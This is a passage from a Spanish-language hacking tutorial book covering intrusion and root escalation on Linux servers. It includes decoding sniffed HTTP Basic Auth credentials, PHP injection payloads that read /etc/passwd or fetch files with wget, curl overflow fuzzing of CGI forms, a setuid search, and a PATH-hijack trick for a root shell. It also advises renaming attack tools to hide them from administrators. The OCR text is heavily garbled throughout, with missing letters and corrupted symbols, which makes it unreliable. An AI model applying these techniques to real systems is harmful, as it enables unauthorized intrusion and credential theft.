se puede buscar a cadena que dce "Authorzaton:Basc".
Se encontrarn as paabras |unto con a cadena de caracteres:
Authorzaton:Basc
Chrkgw|UotfbmkhgFD8Ecfk9oR2eds4|k5yh8rHuyFFtgeTyY==
Ahora ben, desde a prmera etra hasta os dos sgnos de "=", todo es e Logn y Contrasea, y hay
que decodfcaro.
Romper taes contraseas de Autentcacn Bsca de HTTP dferen de servdor a servdor. Tambn
dependen de cmo e admnstrador de sstema ha confgurado este servco. En prmer ugar, para
averguar s e servdor est e|ecutando reamente un servco de Autentcacn HTTP, se necesta
tecear una contrasea errnea y s obtenes e error "LR3", entonces podemos estar penamente
seguros que s.
Para e|ercer nuestro Ofco con as contraseas de HTTP, es convenente consegur e regstro creado
por e snffer. En estos, como mencon antes, se encuentra o que una petcn sera s se pudera
pedr a pgna. Sera ago como o sguente:
GET /pagehere HTTP/1.1
Authorzaton: Basc rT)gt?NEd-GPE&lLjJ+n8a8)Kr-G8ADQJ,sPg+OisYY
E texto despus de a paabra "Basc" es a contrasea. Pero recordemos que no est encrptada,
esta codfcada en Base64. Fcmente se puede decodfcar de varas formas. Una es con Per, usando
e mduo MIME::Base64.
E cdgo sera como sgue:

use MIME::Base64;
&rint decodeZbaseNL=[rT)gt?NEd-GPE&lLjJ+n8a8)Kr-G8ADQJ,sPg+Ois YY[>\
Es posbe obtener e mduo MIME::Base64 descargndoo desde www.cpan.com. Despus de
decodfcaro, se ver ago como o que vene:
"jimm)4lobre)da:contraseSaa-u;"
Los prmeros dos campos seran e Nombre de usuaro y e tmo campo es a contrasea en texto
pano.
162
Conseguir el root en Linu
Es e sueo de todo hacker, egar a root y convertrse en e superusuaro, hacndose con e contro
tota de sstema. Cuando deseamos probar a ntegrdad de sstema, a segurdad de sus servcos o
consegur os prvegos para evar a cabo nuestras ntencones, o prmero es pantearnos cues son
nuestros ob|etvos y qu metodooga se va a utzar para conseguros.
En prmer ugar podemos dentfcar varos escenaros:
-No tenemos acceso a sstema, soo a os servcos que ofrece.
-Tenemos acceso a una cuenta en a mquna (o que facta mucho as cosas).
Podramos pensar que no es nada fc s no tenemos una cuenta en e sstema, pero eso es reatvo y
depende de otros factores que pueden entrar en |uego. Puede exstr un expot remoto que nos de un
she de root nmedatamente sn tener que dare demasadas vuetas a asunto. Aunque esto no suee
ser de o ms comn.
<odo Autom6tico
Nessus4 Podemos comenzar empeando un escaneador de vunerabdades como o puede ser e
Nessus. Nessus es un programa muy chsmoso ya que hace satar todas as aarmas de os IDS. Se
puede descargar desde www.nessus.org. Es mperatvo deshabtar os ataques DoS en e setup de
programa ya que o que queremos es acceder a sstema, no tumbaro.
E Nessus es una herramenta que reaza un chequeo de sstema probando vunerabdades, aunque
no o hace bastante competo. E resutado de as verfcacones as podemos obtener en dversos
formatos como htm, LaTex o PDF, o que nos ayuda para estudar a nformacn. Una vez que e
proceso de escaneo haya fnazado, debemos ser capaces de nterpretar os resutados y ver que
aertas nos pueden egar a ser de utdad y no una prdda de tempo. Lo me|or es usar Googe para
conocer a nformacn sobre as aertas que hayamos encontrado. Una de as grandes venta|as de
Nessus es que posee actuazacones frecuentes sobre vunerabdades y soporte de pugns.
Betina4 La utera de pago Retna The Network Securty Scanner es muy smar a Nessus, pero en
honor a a verdad, en a prctca, Nessus nada tene que envdare a Retna y es un software open
source decddamente muy competo.
<odo <anual
Por muchos mtodos automtcos que empeemos, a fna sempre deberemos de reazar nuestras
propas pruebas sobre e sstema, para as poder comprobar s tenemos a posbdad de encontrar
una vunerabdad. Eso s, os escaneadores de vunerabdades nos pueden auxar de buena
manera a conocer por donde y qu ado comenzar, pero sempre recordando que cada sstema est
confgurado de una determnada forma: con sus propas regas de cortafuegos, confguracones
especfcas, etc., por o que estaremos obgados a apcar nuestros propos crteros a a hora de
penetrar e sstema.
E prmer paso es efectuar un escaneo de puertos (tcnca que ya revsamos en su captuo
correspondente) a sstema banco con a fnadad de ver qu servcos estn actvos en e momento.
S e servdor dspone de un servdor web, es muy recomendabe comenzar por aqu.
Aunque muchos sstemas utzan Apache como servdor web, y a segurdad de este ya est bastante
probada, os probemas de segurdad ms comunes se deben a faos humanos que ocurren cuando
ega a hora de desarroar as pgnas web dnmcas o que nteractan con apcacones que
acceden a bases de datos o con engua|es de scrpt como pueden ser ASP, PHP, PERL, etc. Este es e
punto db que debemos buscar y es e que ms nos facta as cosas.
163
Comenzaremos a buscar pgnas que contengan formuaros de tpo que autentfcan a usuaro o de
tpo de envo de nformacn. En genera, podemos hacer uso de cuaquer pgna que nos permta
tecear texto y envaro a una pgna o CGI especfco.
CGI o Common Gateway Interface (Interfaz Comn de Puerta de Enace o Interfaz Comn de paso) es
una tecnooga de ampo uso en a construccn de documentos web. Es a Interfaz de ntercambo de
datos estndar en WWW, a travs de cua se organza e envo y recepcn de datos entre navegador
y programas resdentes en servdores. La norma CGI ndca a nteraccn entre un servdor y un
programa que mpementa una pgna web dnmca. En vrtud de que todos os programas CGI se
coocaban orgnamente en un drectoro de nombre *in, a veces os programas empean e trmno
CGI-bn.
La dea es tratar de averguar qu tpo de contro se reaza a os datos que se envan por formuaro,
ya sea por POST o por GET. Exsten formuaros que nterpretan os datos pasados en eos, por o que
s e servdor utza PHP, podemos probar a tecear ago as como:
<? echo "<h1>Worae</h1>"; ?>
y envar e formuaro. En a pgna resutante pueden ocurrr dos escenaros:
1.- Oue obtengamos en grande a cadena de texto "Worae
32
" (debdo a os tags <h1> y </h1>).
2.- Oue veamos toda a rstra de caracteres que hemos teceado.
En e prmer caso podremos saber que e formuaro es vunerabe a a e|ecucn de cdgo; mentras
que en e segundo caso, nos enteraremos que no o es. Ahora soo tenemos que pensar qu es o que
queremos e|ecutar en e servdor, por e|empo podemos pensar en tecear:
<? system("cat /etc/passwd"); ?>
E comando cat nos permte ver e archvo &assGd que se encuentra en e drectoro etc. Debe
notarse que a paabra system est pegada a prmer parntess. Otra dea que sera gena apcar
tambn es que podremos, s exste, descargar agn archvo desde e servdor:
<? system("wget http://maquna/archvo"); ?>
Ya se ha menconado que necestamos conocer que engua|e de scrpt est usando e servdor. Esto
posbta e saber qu comandos podramos e|ecutar en estos formuaros. Exsten varas formas de
sabero, como por e|empo, ver e cdgo fuente de as pgnas e ntentar encontrar agn comentaro
o texto que nos permta averguar qu engua|e de scrpt est mpementado; o ben, preguntar
drectamente a servdor web:
~$ curl -l http://www.inkatel.com
Date: Wed, 2 Jan 2009 15:31:22 GMT
Server: Apache/1.3.27 (Unix) mod_perl/1.27 PHP/4.3.0 mod_ssl/2.8.14 OpenSSL/0.9.7b
Content-Type: text/html; charset=iso-8859-1
curl es una herramenta que permte a transferenca de datos haca y desde un servdor. Esto se
ogra usando cuaquera de os protocoos HTTP, HTTPS, FTP, TELNET, entre otros. Este comando con
a opcn I (i myscua) nos mostrar as cabeceras que nos devueve e servdor web, donde por o
genera sabremos s se trata de un IIS, de un Apache o Netscape-Enterprse y de os mduos que se
estn usando, que en e caso de Apache podran ser PHP, OpenSSL, mod_ss, mod_per, etc.
32 Worale: Es una interjeccin creada por Marianita Lpez, compaera y amiga. Es la contraccin de las palabras Wow y rale, ambas
sinnimos que denotan admiracin o perplejidad. Aqu lo usamos meramente como ejemplo de una cadena de caracteres.
164
Tambn es posbe utzar e tenet drectamente a puerto 80 (web) y una vez que nos conectemos
envar a servdor a petcn
GET / HTTP/1.1
Esto tambn nos devover como resutado as cabeceras de servdor web.
El Desbordamiento de <emoria
Contnuamos con os formuaros y vamos a ntentar provocar un desbordamento de memora
(tambn conocdo como desbordamento de pa o :uffer @verfloA en ngs). Para ograr esto,
reenaremos os formuaros con grandes cantdades de datos. En muchas ocasones, os
programadores no controan a cantdad de datos que se transmten por medo de formuaros. Es
posbe que tengamos mtado e nmero de caracteres que podemos ntroducr en e campo de
formuaros a travs de navegador (con e MAXLENGTH de HTML), que se verfquen os caracteres
teceados medante |avascrpt (como e |avascrpt se e|ecuta en e cente. Es muy fc satarse estas
verfcacones, ya sea no permtendo a e|ecucn de |avascrpt o ben, utzando os mtodos que
comentaremos enseguda).
Las mtacones de que habamos en e prrafo anteror pueden ser esquvadas fcmente. Lo que
debemos hacer es reazar a msma petcn que hace e navegador, pero o hacemos con un
programa que nos permta fasfcar os vaores de formuaro como nosotros o deseemos. Para
reazar esto, podemos grabar e formuaro a oca, modfcar o emnar os vaores MAXLENGTH para
que no nos mte e nmero de caracteres que podemos envar. Coocar este formuaro modfcado
en nuestro servdor web (en caso de tener uno), pero conservando e acton orgna, para que os
datos se enven a CGI que queremos atacar. Ahora soo tenemos que ntroducr grandes cantdades
de datos para ntentar comprobar s en agn momento e CGI reventa de aguna forma de as
sguentes en os e|empos:
a) Mostrando mensa|es de error que nos proporconen nformacn de path a agunos archvos.
b) Errores de bases de datos que nos nformarn qu base de datos estn utzando.
c) Posbes XSS (Cross Ste Scrptng)
d) Agn desbordamento de pa (buffer overfow), etc
En ocasones convene ntroducr tambn caracteres raros y no usuaes. Con esta accn podemos
comprobar e comportamento de os formuaros ante estos datos.
Otro mtodo para satarnos as restrccones de tamao de os campos de formuaro es utzar agn
programa que posbte e envo de cuaquer tpo de datos a CGI. Podemos segur utzando a
herramenta curl ya que nos permte reazar petcones GET o POST usando os parmetros que
deseemos.
Veamos un e|empo de sntaxs que podemos utzar en un caso rea con un formuaro con POST:
cur - -d "campo 1=`per -e 'prnt "A"x1000` "http://servdor/cg_vctma
de esta forma estamos envando 1000 caracteres A en e "campo 1", a CGI que seecconemos (aqu
deberemos poner e vaor que tengamos en e action de formuaro). A ncur a opcn 5d, estamos
ndcando a programa cur que enve os datos medante una petcn POST. La opcn 5i nos aadr
tambn a cabecera devueta por e servdor. La dferenca entre usar a opcn 5i y 5E ( mayscua)
es que a segunda nos muestra a cabecera de documento HTTP soamente, mentras que a prmera
tambn nos ncuye datos reevantes acerca de nombre de servdor, fecha de documento y a
versn de HTTP.
165
Para e caso de una petcn por GET, soo tenemos que aadr os parmetros de a forma sguente:
cur - http://servdor/cg_vctma?campo1=`per -e 'prnt "A"x1000'`&campo2=Lo_que_sea
La dea aqu es ponerse a |ugar con os tamaos de os campos de formuaro, ntroducr caracteres
raros, combnacones extraas, que puedan o no ser correctamente nterpretadas por e CGI y
devueva agn error t.
Mrar e cdgo fuente de as pgnas nos puede proporconar deas e nformacn de por donde
podemos contnuar. En muchas ocasones, os programadores "ovdan" comentaros que
proporconan pstas. E cdgo |avascrpt es convenente entendero para conocer a funcn que tene
en e formuaro. A veces, un formuaro soo funconar s tenemos e |avascrpt actvado, por eso es
necesaro saber cmo es que acta. Puede pasar que antes de envar os datos, como os de usuaro y
contrasea, se pase aguno de eos a mayscuas, se e agregue agn tpo de pref|o o suf|o, se
controe e formato de os datos, etc.
Muchos formuaros que estan en servdores web atacan drectamente a una base de datos, ben sea
para autentcar a un usuaro, para reazar una bsqueda u obtener una URL a a que redrecconar,
etc. Este tpo de apcacones pueden ser susceptbes a ataques de nyeccn SOL (SOL n|ecton). Por
medo de esta tcnca podramos e|ecutar cuaquer sentenca SOL en a base de datos. Son varas as
veces en que os programadores no tenen en cuenta e formato de os datos ntroducdos por os
usuaros, por o que exste a posbdad de escapar as sentencas SOL medante comas smpes ('),
comas dobes ("), puntos y comas. Otra prueba que se puede hacer es ntroducr estos caracteres
en os campos de os formuaros con fn de comprobar s son susceptbes a SOL n|ecton. Es
recomendabe eer documentos que traten sobre e SOL n|ecton para ver a potenca de esta tcnca.
Hasta ahora nos hemos centrado en e servdor web como medo de acceso a sstema. Exsten otros
servcos que tambn son susceptbes de ser utzados para ganar acceso, pero amentabemente no
exste una metodooga concreta. Lo dea es averguar as versones que se estan utzando y buscar
en pgnas como www.securtyfocus.com, www.packetstormsecurty.n e ntentar encontrar agn
expot que haga e traba|o por nosotros. Tambn podemos nstaar e msmo servco en nuestro
equpo y tratar de encontrar aguna vunerabdad (confguracones por defecto, ogn/pwd comunes,
pgnas web no vsbes, etc).
Ahora que hemos vsto cmo ntentar consegur acceso desde afuera, o que sgue es aprender cmo
obtener mayores prvegos una vez que tenemos una cuenta en e servdor, nuestra o a|ena.
Escalando Privilegios de root
s tenemos una cuenta en a mquna en a que deseamos obtener os prvegos de root, se podra
decr que as cosas se nos factan soo un poco. Hay que tener en cuenta que a segurdad oca
puede ser mayor por dentro que de cara a pbco.
Lo prmero que tendramos que hacer es comprobar s e sstema tene contrasea ensombrecda o no
(e tema de as contraseas fue tratado en captuos anterores). Actuamente es muy dfc encontrar
un equpo que tenga contraseas sn ensombrecer, pero con suerte podremos ntentar crackear a
contrasea de root.
Para romper a contrasea de root, debemos obtener e archvo /etc/passwd y aprovecharemos
agunos de os programas que exsten para obtener as contraseas medante dcconaros. Uno de os
programas ms famosos es +ohn The Ripper aunque tambn exste e !rack.
S esto no da resutados, raro sera que s, comenzaremos a buscar programas que estn setuidados,
es decr, programas que se e|ecutarn con permsos de otro usuaro. A nosotros nos nteresan os que
estn setudados a root.
166
Para hacer esto, debemos hacer una bsqueda en todo e sstema os archvos que cumpan con esta
condcn:
-$ fnd /usr/ -ud 0 -perm +4000 -prnt
o tambn:
-$ fnd / \( -perm -4000 -fprntf /root/sud.txt '%#m %u %p\n' \)
con e comando fnd buscaremos os archvos que pertenecen a usuaro root en e drectoro usr/ y
que tenen agunos de os bts de permso que hemos ndcado (4000). e bt que nos nteresa buscar
es e setud:
-rwsr-xr-x 1 root root 24680
Dec 20 2008 /usr/bin/passwd
que en esta nea corresponde a a s de rwsr (o sea que ste programa se e|ecuta con prvegos de
root). En a prmera nea de resutado de a prmera bsqueda de fnd, e setud es e nmero 4.
ponemos e &erm (de permission) ]LRRR para que encuentre cuaquer archvo que tenga actvo
este bt de permso independientemente de estado de resto. En a segnda bsqueda, se crea un
archvo de texto amado sud.txt que se graba en e drectoro root y donde se mprmrn os
nombres de os archvos que cumpen con as condcones propuestas. Segn a dstrbucn Lnux, as
etras que representan os permsos pueden venr en forma de nmeros.
Una vez ocazados os archvos, deberemos obtener as versones de cada uno de eos (por o
genera as obtendremos con a opcn 5v o 51). Tambn podemos ver a ayuda de propo programa,
e|ecutndoo drectamente o con a opcn ^5+el& o con e comando man y e nombre de programa.
Conocendo a versn, podemos ntentar buscar un expot para este programa en partcuar. Esta es
a forma ms fc y rpda. S ya o ha hecho aguen, pues ben, no perderemos tempo, sn embargo,
es ms satsfactoro poder encontrar una vunerabdad por nosotros msmos y poder egar a root.
Los prncpaes faos de segurdad que trataremos son e Buffer Overfow, e Format Strng
Vunerabty y e Race Condtons. Tenemos que buscar un programa en e sstema que est setudado
y averguar qu opcones de comando acepta. A contnuacn amaremos a programa probando a
pasare una gran cantdad de datos en cada una de sus opcones. Con esto ntentamos encontrar
agn tpo de desbordamento de pa que permta a e|ecucn. Pare eo es recomendabe empear a
sentenca de per vsta anterormente, pero como es muy aburrdo tecear cas m caracteres a mano,
o me|or es usar as herramentas dsponbes para nosotros. S en aguno de estos casos obtenemos
un 1e*mentation 9ault, ser una buena notca, aunque no sempre sgnfque que vamos a poder
codfcar un expot para aprovecharnos de . Habr que tener en cuenta muchas cosas.
strace
strace es una herramenta muy t que nos puede ayudar a descubrr faos en agunos programas y
que vene en cuaquer dstrbucn Lnux. Strace que se usa para dagnstco y de depuracn,
e|ecuta un comando especfcado hasta que termna. Intercepta y regstra as amadas a sstema que
son requerdas por un proceso dado. E nombre de cada amada a sstema, sus argumentos y sus
vaores de retorno se mprmen en un error estndar o a un archvo especfcado con a opcn 5o. Los
estudantes y os hackers ncpentes pueden aprender mucho de un sstema y sus amadas
"rastreando" hasta os programas ms ordnaros. En resmen, con strace (de ngs trace= rastrear)
podemos ver todo o que hace un programa cuando o e|ecutamos. Podemos ver como acta strace
en e sguente e|empo:
167
-$ strace hpng2
Lo que hace stace es ponernos todo e rastreo nea por nea. Usemos strace con certas opcones:
-$ strace -c -o arch.txt hpng2
Con a opcn 5c e ndcamos a strace que cooque en coumnas as amadas, e conteo de tempo y
os errores en un reporte. Con a opcn 5o e decmos que nos cree un archvo de texto con e nombre
de programa, por e|empo, y a fna ponemos e programa que queremos rastrear.
Ahora o probaremos con e NetCat y unas opcones
-$ strace -o nc.txt nc 5vv 38O4R4R43 3RR58RR
En negras tenemos nvocado e programa NetCat (nc) con sus opcones dobe verboso (-vv),
ntentando conectarse a ocahost (127.0.0.1) para mostrarnos un rastreo de os puertos 100 a 200.
E resutado que nos muestra strace es:
execve("/usr/bin/nc", ["nc", "-vv", "-z", "127.0.0.1", "100-200"], [/* 33 vars */]) = 0
brk(0) = 0x804e000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fcb000
open("/etc/ld.so.cache", O_RDONLY) = 3
...
write(2, "Orianna [127.0.0.1] 100 (?)", 27) = 27
write(2, " : Connection refused\n", 22) = 22
write(2, " sent 0, rcvd 0", 15) = 15
write(2, "\n", 1) = 1
exit_group(0) = ?
Podemos ver agunas de as amadas, no todas, que hace e programa nc a sstema y detectar s
exste agn fao en a e|ecucn. Por e|empo, ya ms rea, veremos o que descubr Ismae Brones
cuando uso strace en un programa de Orace:
E programa estaba setudado a root. En su e|ecucn, e programa nvocaba a otro programa
medante una amada. E fao de programador fue que no se ncuy e path de programa que se
quera e|ecutar por o que se empezaba a buscar en funcn de a varabe de entorno PATH. Con e
uso de strace se pudo ver a programa recorrendo cada uno de os drectoros de a varabe PATH
ntentando nfructuosamente e|ecutar e segundo programa. Como Ismae saba e nombre de
programa, o nco que hzo fue aadr a prncpo de a varabe PATH=.:$PATH para que se
empezase a buscar e e|ecutabe en su drectoro persona. Como e programa se e|ecutaba como
root, tuvo que copar /bn/sh a su drectoro persona y renombraro con e nombre que obtuvo con e
strace. De esa manera obtuvo un she de root nstantneo de una manera senca.
strace tene muchas opcones, pero as ms tes sern 57, para rastrear os forks; 5o, para ndcar un
archvo de sada; 5s, para ndcar e tamao de as cadenas a mostrar; -p, que nos posbta
enganchar e strace a un proceso en e|ecucn y otras ms que ayudan a ftrar a nformacn.
Otra herramenta es trace, que ayuda a nterceptar as amadas a breras que se usan tras a
e|ecucn de un proceso. Se pueden capturar as amadas a sstema, pero es me|or usar strace para
esto. Ambas uteras nos ayudan a nvestgar os programas de nuestro sstema para encontrar un
fao de segurdad.
168
Cuentas She
Una cuenta She es o que muchos han consderado e nrvana de a nformtca. Cuenta She es un
trmno que pudera egar a confundr a ms de uno, en vrtud de que en un sstema UNIX un She es
un programa que nteracta con e kerne y e usuaro. Hay que tomar en cuenta que en certos
ambentes nformtcos, e She puede ser e con|unto de de ogns y passwords.
Para darnos una dea, una cuenta She nos permte usar nuestra computadora como s de una
termna se tratara. Nos posbta ntroducr comandos UNIX como s estuveramos en e msmo
equpo. Esto nos abre un mundo de posbdades hasta ahora desaprovechadas. E probema que
encontramos es que este tpo de cuentas son dfces de consegur dado que os ISP temen que se
haga un uso mantenconado de eas. E ma uso que se hace de estas cuentas hace que haya receo
en cuanto a factar estos servcos.
E punto es que este tpo de cuentas adquere un vaor especfco porque sabemos que os comandos
que teceamos son envados a una computadora UNIX. Unx es un Sstema Operatvo muy potente y
es e engua|e por exceenca de Internet.
Como menconamos, e She de UNIX es e programa que traduce o que teceamos en comandos
UNIX. Con a cuenta She adecuada podremos dsfrutar de uso de una estacn de traba|o
(workstaton) mucho ms poderosa que nos r preparando para cuando se requera mandar a dabo
a Sstema de B gates e nstaar Unx o Lnux en nuestras mqunas.
Aparentemente, Unx es muy parecdo a DOS (o MS-DOS), pero es soamente en e aspecto donde
ambos sstemas se parecen, ya que consta de un prompt que permte tecear comandos. Pero a
dferenca de DOS, Unx es ms eegante y poderoso. S una persona desea reamente acceder a as
entraas de a nformtca tene que saber UNIX. S uno no est famarzado con este entorno, o a
menos e de Lnux, se puede acceder a ebooks o tutoraes en nea sobre Unx y e She.
En sus ncos, se acceda a Internet a travs de una cuenta She UNIX medante comandos poco
famares a os usuaros y un entorno grfco muy fro. En esos tempos no exstan os grfcos a coor
n as ventanas. Cuando estas caracterstcas se voveron de uso comn, os entornos tpo UNIX
fueron reegado a cas ovdo, pero no fueron erradcados de todo.
@uscando Dna uenta
La bsqueda de stos que nos puedan ofrecer una cuenta She es una ardua tarea en vrtud de que
os comandos usados permten un contro de a cuenta msma. Anterormente uno poda amar por
tefono a ISP y pedr una, pero cuando se haba de cuentas She, se encenden as aarmas y se
genera suspcaca y receo.
Cuando se nos pregunte para qu a queremos, o ms probabe es que nos cueguen e tefono
aunque menconemos que somos vdos amantes de entorno UNIX. Este es un prmer gope que
hara a ms de uno abandonar a empresa de bsqueda. Esto no debe desaentarnos.
La a/a del E0P
Tendremos que recurrr a os ISP que aparecen en as pgnas amaras de a gua teefnca. Con
pacenca, veremos como aguno nos confrmar que dspone de cuentas She. Ahora queda pedr
que se nos otrogue una.
Como recomendacn se puede recurrr a ISPs pequeos y ocaes, que son os que tenen menos
reparos en concedernos una. S encma de todo, consegumos una ISP orentada a estudosos de
Internet, ser todava ms fc que puedan darnos una cuenta She.
169
Es convenente que cuando nos pregunten e porqu de nuestro nters en una cuenta She
contestemos que nos gusta navegar en Internet medante Lynx y que estamos cansados de tener que
estar esperando a que se carguen tantas grfcas de magen o appets de |ava. Y que adems nos
gusta evar nuestro ema con Pne y que para os newsgroups estamos encantados con tn. Exste a
probabdad de que e propetaro de este ISP se sodarce con nosotros. Lo que tenemos que hacer
en este caso, ser soctar una cuenta guest tempora gratuta (de nvtado) para que podamos
evauara por un perodo de prueba.
Tambn podemos ntentaro con as unversdades ya que sueen dsponer para sus aumnos cuentas
para que hagan pruebas, con o que s ests estudando por e momento, se puede aprovechar este
medo accedendo a a seccn de nformtca para estudantes e nvestgar s ofrecen cuentas She.
Los ms probabe es que pueda haber ms probemas en a bsqueda de una cuenta con garantas
de darnos todo e potenca que puede ofrecernos, ya que muchos usuaros se que|an, despus de o
que supone consegur una, de o poco que ofrecen as cuentas gratutas.
S hacemos una bsqueda por Internet escrbendo "Free She" (ncuyendo as comas), veremos
entre os resutados os enaces sueen ser engaosos y que cas nnguno de eos nos dar respuesta
rea a nuestras espectatvas. Sn embargo, s profundzamos podremos ver gas que nos conduzcan a
servcos de pago. S estamos dspuestos a pagar por eo, podremos acceder a cuentas por una suma
que no de|a de ser smbca para aquea persona con un genuno nters en desarroarse como
usuaro de She de UNIX. Desde uego, uno debe hacer de trpas corazn, s as cuentas estn
ao|adas en servdores extran|eros (Rusa o Checosovaqua). No debera ser probema desenvoverse
en ngs tampoco.
uentas 0+ell En Nuestro 0istema
S no queremos compcarnos a exstenca con os mtodos anterormente menconados, en tma
nstanca podrmos nstaar en nuestra propa mquna agn tpo de UNIX y usar as cuentas She que
venen con e sstema operatvo. En caso de sentr que Unx es un sstema muy compcado podemos
hacer uso de Lnux, que tambn nos permte aprovechar as cuentas She nternas.
Sn embargo, debemos reconocer que s podemos consegur una cuenta She de un ISP ser mucho
me|or que s a tenemos en nuestro propo sstema. Pero una de as posbdades que pasamos por
ato es que tengamos una cuenta She en nuestro sstema y no o sepamos. La forma de sabero es
consguendo un programa que nos permta a conexn a a cuenta She. Hay muchos en e mercado,
aunque o ms fc es recurrr a os que venen en nuestro sstema como o puede ser Tenet que
vene con Wndows que ya revsamos en e captuo sobre Tenet. Cuando o e|ecutamos,
seecconemos conectar con sstema remoto. Aqu se nos pedr e nombre de Host y escrbremos as
tmas dos partes de nuestra dreccn de ema. Por e|empo, s nuestro correo es
nombre@att.com.mx sera poner com.mx como nombre de Host. En puerto, hay que de|ar "tenet",
en tpo de termna ponemos "VT100". Le damos a "Conectar" y esperamos. S faa, podemos
ntentaro con as tres tmas partes de a dreccn eectrnca. S dsponemos de una cuenta She
aparecer un mensa|e en pantaa pdendo que nos dentfquemos. Ser ms o menos parecdo a
esto:
Welcome to ATT
ATT.com.mx.
Login:
Password:
Linux 2.0.0
Last login: Thu Nov 10 19:02:00 on
ttyp5 from zn30.lovvu.net
Gerry:~$
170
S nos aparece ago como o anteror, a fortuna est de nuestra parte. Lo mportante es que se nos
pda un una dentfcacn con a paabra ogn. S aparece ogon o ago smar, sabremos que no se
trata de una cuenta She. S fnamente podemos hacer ogn nos podr aparecer un prompt '#' She
de Unx en pantaa o men. E smboo # es a tar|eta de presentacn de superusuaro en contro de
root y se pueden hacer cuaquer tpo de cambos en a computadora. Pero a readad es que no
veremos este prompt a menos que e Sysadmn (e admnstrador de sstema) se haya quedado
dormdo o nos est gastando una broma. Incuso puede ser un truco por parte de Sysadmn, ya que
se permte hacer cosas en e sstema con a creenca de que se es root, pero tras bambanas e
Sysadmn est observando todos nuestros movmentos con e contro de a stuacn.
Hay que tener en consderacn que cuando hagamos ogn a nuestra cuenta tendremos que ser
cauteosos en cuanto a a escrtura de nuestro dentfcador ya que a tratarse de cuentas basadas en
Unx, nos encontramos ante entornos "case senstve", es decr, que dstnguen as etras mayscuas
y mnscuas. No es o msmo Gerryson que gerryson o que GERRYSON.
S o que aparece es e men, o ms seguro es que aguna de as opcones mpresas en a pantaa
sea a de acceder a She, aunque reamente depender de ISP en e que estemos. Y s no vemos tan
caramente a opcn de She en e men, no tenemos mas que evantar e tefono y amar a
nuestro ISP para que nos orente en cmo hacero, aunque esto suee ser e tmo recurso dado que
es un poco humante para aguen que se dce experto en nformtca.
Ahora nos encontraremos con un pequeo probema de prvacdad y segurdad en cuanto a as
passwords que escrbamos, ya que cuando hacemos Tenet a nuestra cuenta She aguen puede
utzar un Snffer para averguar nuestra contrasea y acceder a nuestra cuenta, con o que ser
convenente que utcemos un programa que nos permta encrptar os datos de password.
Desafortunadamente, cas todas as cuentas She estn confguradas de ta modo que tenemos que
exponer nuestro password a cuaquera que haya coocado un Snffer entre e ISP que ofrece a
conexn PPP (Pont to Pont Protoco) y e ISP de nuestra cuenta She.
Una soucn es buscar un proveedor de cuentas She que utce ssh (Secure She) que son as que
habtan e acceder y copar archvos a mqunas remotas de forma segura (tambn nos permtr
canazar cuaquer conexn TCP/IP de manera smar a una VPN) ya que ambos extremos de a
comuncacn se autentfca mutuamente medante e uso de un protocoo muy gero y reatvamente
senco, comparado con e VPN actua.
No Perder la uenta 0+ell
En caso de consegur una She, o ms mportante es atesorara. A tener a cuenta en nuestro poder,
es necesaro segur unas pautas para no perdera y tener que segur todo e proceso desde cero.

No Abusar del E0P4 Lo prmero es no abusar de nuestro ISP. Por e|empo, s encontramos un cdgo
macoso y o compamos y e|ecutamos en nuestro ISP es un error de magntud bbca. Es muy
probabe que ogremos e ob|etvo de egar a root, sn embargo, a da sguente as probabdades de
que no podamos entrar nuevamente son atas. Seremos envados a ostracsmo por haber nfrngdo
a ey.
No usar &ings4 Lo msmo ocurre s queremos hacer un png como ago ms que una herramenta de
dagnstco. Nunca hay que utzar a cuenta She para fastdare a vda a as personas en rc
medante nukes o cuaquer otra artmaa.
0ur7eo exagerado de Puertos4 Otras causas por as que podramos perder a cuenta son por hacer
un surfeo de puertos excesvos. Recordemos que con NetCat y Tenet podemos hacer un surfeo de
puertos. Sn embargo, exste e probema de que s e admnstrador de sstema se percata que se
est curoseando de ms en cas todos os puertos, o ms habtua es que se ponga en contacto con
os admnstradores de nuestro ISP y "Hasta a vsta, cuenta She".
171
Ago que aprendmos es que e escaneo de puertos ndscrmnado de|a rastros en os ogs de
sstema. Normamente est ben s brevemente vstamos otra computadora va tenet, y no vamos
ms e|os de o que ese puerto nos ofrece. Los regstros de nuestras vstas se guardan en e archvo
"messages," y agunas veces en "sysog" dependendo de a confguracon de a computadora a a
que ncursonemos .
No em&lear o almacenar so7tGare sos&ec+oso4 Una forma de pedr a grtos sencosos que nos
cerren a cuenta es empear programas concebdos para cometer detos nformtcos, como e Satan
(Securty Admnstraton Too For Anayzng Networks) cuya funcn es hacer de tenet a todos os
puertos de a computadora, averguar e daemon que funcona en cada una (e programa que
responde a a petcn de acceso a ese puerto) y estudar as debdades que esta pueda tener.
Obvamente, e SATAN puede ser usado por admnstradores de sstemas para buscar posbes
vunerabdades y cerrar brechas en su mquna, pero tambn puede ser utzado por gente sn
escrpuos (amers).
Para qu consegur una cuenta she s pueden sacarnos a patadas ncuso por practcar un hackeo
ega e nofensvo? Despus de todo, es ega usar SATAN. De hecho, sempre podemos aprender gran
cantdad de cosas con esta herramenta a gua que con e NetCat. La mayora de as herramentas
hackers, ncuso aunque se usen prncpamente para cometer detos, srven para aprender mucho. S
verdaderamente queremos egar a ser admnstrador de sstemas agn da, o un experto en
segurdad nformtca, deberemos aprender cmo funconan esos programas.
An as, exsten ugares que permten usar este tpo de programas, cuentas She con gente estudosa
de tema que nos permte hacer expermentos de todo tpo en ese ugar. En fn, as cuentas she son
una espece de psta de entrenamento de hackers. Son buenas para aprender cosas de prncpante.
Pero para egar a ser un hacker sero, debemos encontrar un ISP gestonado por hackers que nos
acepten y nos de|en hacer todo tpo de cosas a modo de expermentos.
Una soucn a este probema es dare a as herramentas hackers que usamos nombres nocentes.
Por e|empo, podras renombrar SATAN y amaro ANGEL. Pero puede que e admnstrador de
sstemas e|ecute os programas para ver o que hacen. S descubre que aguno de os programas es
una herramenta comnmente usada para cometer detos nformtcos, seremos hstora.
'mo Ex&lorar La uenta 0+ell
Una buena forma de empezar es averguar qu tpo de cuenta she tenemos. Hay muchas cuentas
she y cada una de eas tene pequeas dferencas en su forma de traba|ar. Para hacero abrmnos
una consoa y teceamos
-$ echo $SHELL
Bes&uesta Ti&o de 0+ell
2bin2s+ she Bourne
2bin2bas+ she Bourne Agan (bash)
2bin2*s+ she Korn
2bin2cs+ she C
S e comando "echo $SHELL" no funcona, podemos probar con echo $she, usando mnscuas.
172
